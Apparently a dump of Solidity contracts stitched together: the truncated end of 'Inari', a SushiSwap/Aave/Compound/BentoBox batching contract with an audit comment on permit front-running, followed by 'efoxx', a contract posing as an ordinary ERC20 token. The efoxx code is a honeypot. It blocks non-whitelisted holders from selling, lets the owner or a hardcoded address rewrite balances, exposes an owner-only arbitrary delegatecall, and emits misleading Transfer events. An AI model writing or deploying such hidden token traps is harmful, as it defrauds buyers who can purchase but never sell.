`ERC20.permit` on `token`. /// Lookup `IERC20.permit`. // F6: Parameters can be used front-run the permit and the user's permit will fail (due to nonce or other revert) // if part of a batch this could be used to grief once as the second call would not need the permit function permitToken( IERC20 token, address from, address to, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public { token.permit(from, to, amount, deadline, v, r, s); } } /// @notice Contract that batches SUSHI staking and DeFi strategies - V1. contract Inari is BoringBatchableWithDai { using BoringMath for uint256; using BoringERC20 for IERC20; IERC20 constant sushiToken = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI staking contract for SUSHI IAaveBridge constant aave = IAaveBridge(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); // AAVE lending pool contract for xSUSHI staking into aXSUSHI IERC20 constant aaveSushiToken = IERC20(0xF256CC7847E919FAc9B808cC216cAc87CCF2f47a); // aXSUSHI staking contract for xSUSHI IBentoBridge constant bento = IBentoBridge(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract address constant crSushiToken = 0x338286C0BC081891A4Bda39C7667ae150bf5D206; // crSUSHI staking contract for SUSHI address constant crXSushiToken = 0x228619CCa194Fbe3Ebeb2f835eC1eA5080DaFbb2; // crXSUSHI staking contract for xSUSHI address constant wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // ETH wrapper contract (v9) address constant sushiSwapFactory = 0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac; // SushiSwap factory contract ISushiSwap constant sushiSwapSushiETHPair = ISushiSwap(0x795065dCc9f64b5614C407a6EFDC400DA6221FB0); // SUSHI/ETH pair on SushiSwap bytes32 constant pairCodeHash = 0xe18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303; // SushiSwap pair code hash /// @notice Initialize this Inari contract and core SUSHI strategies. constructor() public { bento.registerProtocol(); // register this contract with BENTO sushiToken.approve(address(sushiBar), type(uint256).max); // max approve `sushiBar` spender to stake SUSHI into xSUSHI from this contract sushiToken.approve(crSushiToken, type(uint256).max); // max approve `crSushiToken` spender to stake SUSHI into crSUSHI from this contract IERC20(sushiBar).approve(address(aave), type(uint256).max); // max approve `aave` spender to stake xSUSHI into aXSUSHI from this contract IERC20(sushiBar).approve(address(bento), type(uint256).max); // max approve `bento` spender to stake xSUSHI into BENTO from this contract IERC20(sushiBar).approve(crXSushiToken, type(uint256).max); // max approve `crXSushiToken` spender to stake xSUSHI into crXSUSHI from this contract IERC20(dai).approve(address(bento), type(uint256).max); // max approve `bento` spender to pull DAI into BENTO from this contract } /// @notice Helper function to approve this contract to spend and bridge more tokens among DeFi contracts. function bridgeABC(IERC20[] calldata underlying, address[] calldata cToken) external { for (uint256 i = 0; i < underlying.length; i++) { underlying[i].approve(address(aave), type(uint256).max); // max approve `aave` spender to pull `underlying` from this contract underlying[i].approve(address(bento), type(uint256).max); // max approve `bento` spender to pull `underlying` from this contract underlying[i].approve(cToken[i], type(uint256).max); // max approve `cToken` spender to pull `underlying` from this contract (also serves as generalized approval bridge) } } /************ SUSHI HELPERS ************/ /// @notice Stake SUSHI `amount` into xSushi for benefit of `to` by call to `sushiBar`. function stakeSushi(address to, uint256 amount) external { sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI IERC20(sushiBar).safeTransfer(to, IERC20(sushiBar).balanceOf(address(this))); // transfer resulting xSUSHI to `to` } /// @notice Stake SUSHI local balance into xSushi for benefit of `to` by call to `sushiBar`. function stakeSushiBalance(address to) external { ISushiBarBridge(sushiBar).enter(sushiToken.balanceOf(address(this))); // stake local SUSHI into `sushiBar` xSUSHI IERC20(sushiBar).safeTransfer(to, IERC20(sushiBar).balanceOf(address(this))); // transfer resulting xSUSHI to `to` } /********** TKN HELPERS **********/ /// @notice Token deposit function for `batch()` into strategies. function depositToken(IERC20 token, uint256 amount) external { IERC20(token).safeTransferFrom(msg.sender, address(this), amount); } /// @notice Token withdraw function for `batch()` into strategies. function withdrawToken(IERC20 token, address to, uint256 amount) external { IERC20(token).safeTransfer(to, amount); } /// @notice Token local balance withdraw function for `batch()` into strategies. function withdrawTokenBalance(IERC20 token, address to) external { IERC20(token).safeTransfer(to, token.balanceOf(address(this))); } /* ██ ██ ▄ ▄███▄ █ █ █ █ █ █▀ ▀ █▄▄█ █▄▄█ █ █ ██▄▄ █ █ █ █ █ █ █▄ ▄▀ █ █ █ █ ▀███▀ █ █ █▐ ▀ ▀ ▐ */ /*********** AAVE HELPERS ***********/ function toAave(address underlying, address to, uint256 amount) external { aave.deposit(underlying, amount, to, 0); } function balanceToAave(address underlying, address to) external { aave.deposit(underlying, IERC20(underlying).balanceOf(address(this)), to, 0); } function fromAave(address underlying, address to, uint256 amount) external { aave.withdraw(underlying, amount, to); } function balanceFromAave(address aToken, address to) external { address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token aave.withdraw(underlying, IERC20(aToken).balanceOf(address(this)), to); } /************************** AAVE -> UNDERLYING -> BENTO **************************/ /// @notice Migrate AAVE `aToken` underlying `amount` into BENTO for benefit of `to` by batching calls to `aave` and `bento`. function aaveToBento(address aToken, address to, uint256 amount) external { IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying` bento.deposit(IERC20(underlying), address(this), to, amount, 0); // stake `underlying` into BENTO for `to` } /************************** BENTO -> UNDERLYING -> AAVE **************************/ /// @notice Migrate `underlying` `amount` from BENTO into AAVE for benefit of `to` by batching calls to `bento` and `aave`. function bentoToAave(IERC20 underlying, address to, uint256 amount) external { bento.withdraw(underlying, msg.sender, address(this), amount, 0); // withdraw `amount` of `underlying` from BENTO into this contract aave.deposit(address(underlying), amount, to, 0); // stake `underlying` into `aave` for `to` } /************************* AAVE -> UNDERLYING -> COMP *************************/ /// @notice Migrate AAVE `aToken` underlying `amount` into COMP/CREAM `cToken` for benefit of `to` by batching calls to `aave` and `cToken`. function aaveToCompound(address aToken, address cToken, address to, uint256 amount) external { IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying` ICompoundBridge(cToken).mint(amount); // stake `underlying` into `cToken` IERC20(cToken).safeTransfer(to, IERC20(cToken).balanceOf(address(this))); // transfer resulting `cToken` to `to` } /************************* COMP -> UNDERLYING -> AAVE *************************/ /// @notice Migrate COMP/CREAM `cToken` underlying `amount` into AAVE for benefit of `to` by batching calls to `cToken` and `aave`. function compoundToAave(address cToken, address to, uint256 amount) external { IERC20(cToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `cToken` `amount` into this contract ICompoundBridge(cToken).redeem(amount); // burn deposited `cToken` into `underlying` address underlying = ICompoundBridge(cToken).underlying(); // sanity check for `underlying` token aave.deposit(underlying, IERC20(underlying).balanceOf(address(this)), to, 0); // stake resulting `underlying` into `aave` for `to` } /********************** SUSHI -> XSUSHI -> AAVE **********************/ /// @notice Stake SUSHI `amount` into aXSUSHI for benefit of `to` by batching calls to `sushiBar` and `aave`. function stakeSushiToAave(address to, uint256 amount) external { sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI aave.deposit(sushiBar, IERC20(sushiBar).balanceOf(address(this)), to, 0); // stake resulting xSUSHI into `aave` aXSUSHI for `to` } /********************** AAVE -> XSUSHI -> SUSHI **********************/ /// @notice Unstake aXSUSHI `amount` into SUSHI for benefit of `to` by batching calls to `aave` and `sushiBar`. function unstakeSushiFromAave(address to, uint256 amount) external { aaveSushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` aXSUSHI `amount` into this contract aave.withdraw(sushiBar, amount, address(this)); // burn deposited aXSUSHI from `aave` into xSUSHI ISushiBarBridge(sushiBar).leave(amount); // burn resulting xSUSHI from `sushiBar` into SUSHI sushiToken.safeTransfer(to, sushiToken.balanceOf(address(this))); // transfer resulting SUSHI to `to` } /* ███ ▄███▄ ▄ ▄▄▄▄▀ ████▄ █ █ █▀ ▀ █ ▀▀▀ █ █ █ █ ▀ ▄ ██▄▄ ██ █ █ █ █ █ ▄▀ █▄ ▄▀ █ █ █ █ ▀████ ███ ▀███▀ █ █ █ ▀ █ ██ */ /// @notice Helper function to `permit()` this contract to deposit `dai` into `bento` for benefit of `to`. function daiToBentoWithPermit( address to, uint256 amount, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s ) external { IDaiPermit(dai).permit(msg.sender, address(this), nonce, expiry, true, v, r, s); // `permit()` this contract to spend `msg.sender` `dai` IERC20(dai).safeTransferFrom(msg.sender, address(this), amount); // pull `dai` `amount` into this contract bento.deposit(IERC20(dai), address(this), to, amount, 0); // stake `dai` into BENTO for `to` } /************ BENTO HELPERS ************/ function toBento(IERC20 token, address to, uint256 amount) external { bento.deposit(token, address(this), to, amount, 0); } function balanceToBento(IERC20 token, address to) external { bento.deposit(token, address(this), to, token.balanceOf(address(this)), 0); } function fromBento(IERC20 token, address to, uint256 amount) external { bento.withdraw(token, msg.sender, to, amount, 0); } function balanceFromBento(IERC20 token, address to) external { bento.withdraw(token, msg.sender, to, bento.balanceOf(token, msg.sender), 0); } /*********************** SUSHI -> XSUSHI -> BENTO ***********************/ /// @notice Stake SUSHI `amount` into BENTO xSUSHI for benefit of `to` by batching calls to `sushiBar` and `bento`. function stakeSushiToBento(address to, uint256 amount) external { sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).balanceOf(address(this)), 0); // stake resulting xSUSHI into BENTO for `to` } /*********************** BENTO -> XSUSHI -> SUSHI ***********************/ /// @notice Unstake xSUSHI `amount` from BENTO into SUSHI for benefit of `to` by batching calls to `bento` and `sushiBar`. function unstakeSushiFromBento(address to, uint256 amount) external { bento.withdraw(IERC20(sushiBar), msg.sender, address(this), amount, 0); // withdraw `amount` of xSUSHI from BENTO into this contract ISushiBarBridge(sushiBar).leave(amount); // burn withdrawn xSUSHI from `sushiBar` into SUSHI sushiToken.safeTransfer(to, sushiToken.balanceOf(address(this))); // transfer resulting SUSHI to `to` } /* ▄█▄ █▄▄▄▄ ▄███▄ ██ █▀▄▀█ █▀ ▀▄ █ ▄▀ █▀ ▀ █ █ █ █ █ █ ▀ █▀▀▌ ██▄▄ █▄▄█ █ ▄ █ █▄ ▄▀ █ █ █▄ ▄▀ █ █ █ █ ▀███▀ █ ▀███▀ █ █ ▀ █ ▀ ▀ */ // - COMPOUND - // /*********** COMP HELPERS ***********/ function toCompound(ICompoundBridge cToken, uint256 underlyingAmount) external { cToken.mint(underlyingAmount); } function balanceToCompound(ICompoundBridge cToken) external { IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token cToken.mint(underlying.balanceOf(address(this))); } function fromCompound(ICompoundBridge cToken, uint256 cTokenAmount) external { ICompoundBridge(cToken).redeem(cTokenAmount); } function balanceFromCompound(address cToken) external { ICompoundBridge(cToken).redeem(IERC20(cToken).balanceOf(address(this))); } /************************** COMP -> UNDERLYING -> BENTO **************************/ /// @notice Migrate COMP/CREAM `cToken` `cTokenAmount` into underlying and BENTO for benefit of `to` by batching calls to `cToken` and `bento`. function compoundToBento(address cToken, address to, uint256 cTokenAmount) external { IERC20(cToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `cToken` `cTokenAmount` into this contract ICompoundBridge(cToken).redeem(cTokenAmount); // burn deposited `cToken` into `underlying` IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token bento.deposit(underlying, address(this), to, underlying.balanceOf(address(this)), 0); // stake resulting `underlying` into BENTO for `to` } /************************** BENTO -> UNDERLYING -> COMP **************************/ /// @notice Migrate `cToken` `underlyingAmount` from BENTO into COMP/CREAM for benefit of `to` by batching calls to `bento` and `cToken`. function bentoToCompound(address cToken, address to, uint256 underlyingAmount) external { IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token bento.withdraw(underlying, msg.sender, address(this), underlyingAmount, 0); // withdraw `underlyingAmount` of `underlying` from BENTO into this contract ICompoundBridge(cToken).mint(underlyingAmount); // stake `underlying` into `cToken` IERC20(cToken).safeTransfer(to, IERC20(cToken).balanceOf(address(this))); // transfer resulting `cToken` to `to` } /********************** SUSHI -> CREAM -> BENTO **********************/ /// @notice Stake SUSHI `amount` into crSUSHI and BENTO for benefit of `to` by batching calls to `crSushiToken` and `bento`. function sushiToCreamToBento(address to, uint256 amount) external { sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract ICompoundBridge(crSushiToken).mint(amount); // stake deposited SUSHI into crSUSHI bento.deposit(IERC20(crSushiToken), address(this), to, IERC20(crSushiToken).balanceOf(address(this)), 0); // stake resulting crSUSHI into BENTO for `to` } /********************** BENTO -> CREAM -> SUSHI **********************/ /// @notice Unstake crSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento` and `crSushiToken`. function sushiFromCreamFromBento(address to, uint256 cTokenAmount) external { bento.withdraw(IERC20(crSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crSushiToken` from BENTO into this contract ICompoundBridge(crSushiToken).redeem(cTokenAmount); // burn deposited `crSushiToken` into SUSHI sushiToken.safeTransfer(to, sushiToken.balanceOf(address(this))); // transfer resulting SUSHI to `to` } /*********************** SUSHI -> XSUSHI -> CREAM ***********************/ /// @notice Stake SUSHI `amount` into crXSUSHI for benefit of `to` by batching calls to `sushiBar` and `crXSushiToken`. function stakeSushiToCream(address to, uint256 amount) external { sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).balanceOf(address(this))); // stake resulting xSUSHI into crXSUSHI IERC20(crXSushiToken).safeTransfer(to, IERC20(crXSushiToken).balanceOf(address(this))); // transfer resulting crXSUSHI to `to` } /*********************** CREAM -> XSUSHI -> SUSHI ***********************/ /// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI for benefit of `to` by batching calls to `crXSushiToken` and `sushiBar`. function unstakeSushiFromCream(address to, uint256 cTokenAmount) external { IERC20(crXSushiToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `crXSushiToken` `cTokenAmount` into this contract ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).balanceOf(address(this))); // burn resulting xSUSHI `amount` from `sushiBar` into SUSHI sushiToken.safeTransfer(to, sushiToken.balanceOf(address(this))); // transfer resulting SUSHI to `to` } /******************************** SUSHI -> XSUSHI -> CREAM -> BENTO ********************************/ /// @notice Stake SUSHI `amount` into crXSUSHI and BENTO for benefit of `to` by batching calls to `sushiBar`, `crXSushiToken` and `bento`. function stakeSushiToCreamToBento(address to, uint256 amount) external { sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).balanceOf(address(this))); // stake resulting xSUSHI into crXSUSHI bento.deposit(IERC20(crXSushiToken), address(this), to, IERC20(crXSushiToken).balanceOf(address(this)), 0); // stake resulting crXSUSHI into BENTO for `to` } /******************************** BENTO -> CREAM -> XSUSHI -> SUSHI ********************************/ /// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento`, `crXSushiToken` and `sushiBar`. function unstakeSushiFromCreamFromBento(address to, uint256 cTokenAmount) external { bento.withdraw(IERC20(crXSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crXSushiToken` from BENTO into this contract ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).balanceOf(address(this))); // burn resulting xSUSHI from `sushiBar` into SUSHI sushiToken.safeTransfer(to, sushiToken.balanceOf(address(this))); // transfer resulting SUSHI to `to` } /* ▄▄▄▄▄ ▄ ▄ ██ █ ▄▄ █ ▀▄ █ █ █ █ █ █ ▄ ▀▀▀▀▄ █ ▄ █ █▄▄█ █▀▀▀ ▀▄▄▄▄▀ █ █ █ █ █ █ █ █ █ █ █ ▀ ▀ █ ▀ ▀ */ /// @notice SushiSwap ETH to stake SUSHI into xSUSHI for benefit of `to`. function ethStakeSushi(address to) external payable { // SWAP `N STAKE (uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves(); uint256 amountInWithFee = msg.value.mul(997); uint256 amountOut = amountInWithFee.mul(reserve0) / reserve1.mul(1000).add(amountInWithFee); ISushiSwap(wETH).deposit{value: msg.value}(); IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value); sushiSwapSushiETHPair.swap(amountOut, 0, address(this), ""); ISushiBarBridge(sushiBar).enter(sushiToken.balanceOf(address(this))); // stake resulting SUSHI into `sushiBar` xSUSHI IERC20(sushiBar).safeTransfer(to, IERC20(sushiBar).balanceOf(address(this))); // transfer resulting xSUSHI to `to` } /// @notice SushiSwap `fromToken` `amountIn` to `toToken` for benefit of `to`. function swap(address fromToken, address toToken, address to, uint256 amountIn) external returns (uint256 amountOut) { (address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken); ISushiSwap pair = ISushiSwap( uint256( keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash)) ) ); (uint256 reserve0, uint256 reserve1, ) = pair.getReserves(); uint256 amountInWithFee = amountIn.mul(997); IERC20(fromToken).safeTransferFrom(msg.sender, address(this), amountIn); if (toToken > fromToken) { amountOut = amountInWithFee.mul(reserve1) / reserve0.mul(1000).add(amountInWithFee); IERC20(fromToken).safeTransfer(address(pair), amountIn); pair.swap(0, amountOut, to, ""); } else { amountOut = amountInWithFee.mul(reserve0) / reserve1.mul(1000).add(amountInWithFee); IERC20(fromToken).safeTransfer(address(pair), amountIn); pair.swap(amountOut, 0, to, ""); } } /// @notice SushiSwap local `fromToken` balance in this contract to `toToken` for benefit of `to`. function swapBalance(address fromToken, address toToken, address to) external returns (uint256 amountOut) { (address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken); ISushiSwap pair = ISushiSwap( uint256( keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash)) ) ); uint256 amountIn = IERC20(fromToken).balanceOf(address(this)); (uint256 reserve0, uint256 reserve1, ) = pair.getReserves(); uint256 amountInWithFee = amountIn.mul(997); if (toToken > fromToken) { amountOut = amountInWithFee.mul(reserve1) / reserve0.mul(1000).add(amountInWithFee); IERC20(fromToken).safeTransfer(address(pair), amountIn); pair.swap(0, amountOut, to, ""); } else { amountOut = amountInWithFee.mul(reserve0) / reserve1.mul(1000).add(amountInWithFee); IERC20(fromToken).safeTransfer(address(pair), amountIn); pair.swap(amountOut, 0, to, ""); } } /// @notice SushiSwap ETH `msg.value` to `toToken` for benefit of `to`. function swapETH(address toToken, address to) external payable returns (uint256 amountOut) { (address token0, address token1) = wETH < toToken ? (wETH, toToken) : (toToken, wETH); ISushiSwap pair = ISushiSwap( uint256( keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash)) ) ); (uint256 reserve0, uint256 reserve1, ) = pair.getReserves(); uint256 amountInWithFee = msg.value.mul(997); ISushiSwap(wETH).deposit{value: msg.value}(); if (toToken > wETH) { amountOut = amountInWithFee.mul(reserve1) / reserve0.mul(1000).add(amountInWithFee); IERC20(wETH).safeTransfer(address(pair), msg.value); pair.swap(0, amountOut, to, ""); } else { amountOut = amountInWithFee.mul(reserve0) / reserve1.mul(1000).add(amountInWithFee); IERC20(wETH).safeTransfer(address(pair), msg.value); pair.swap(amountOut, 0, to, ""); } } }
DC1
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } //heyuemingchen contract efoxx { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1128272879772349028992474526206451541022554459967)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
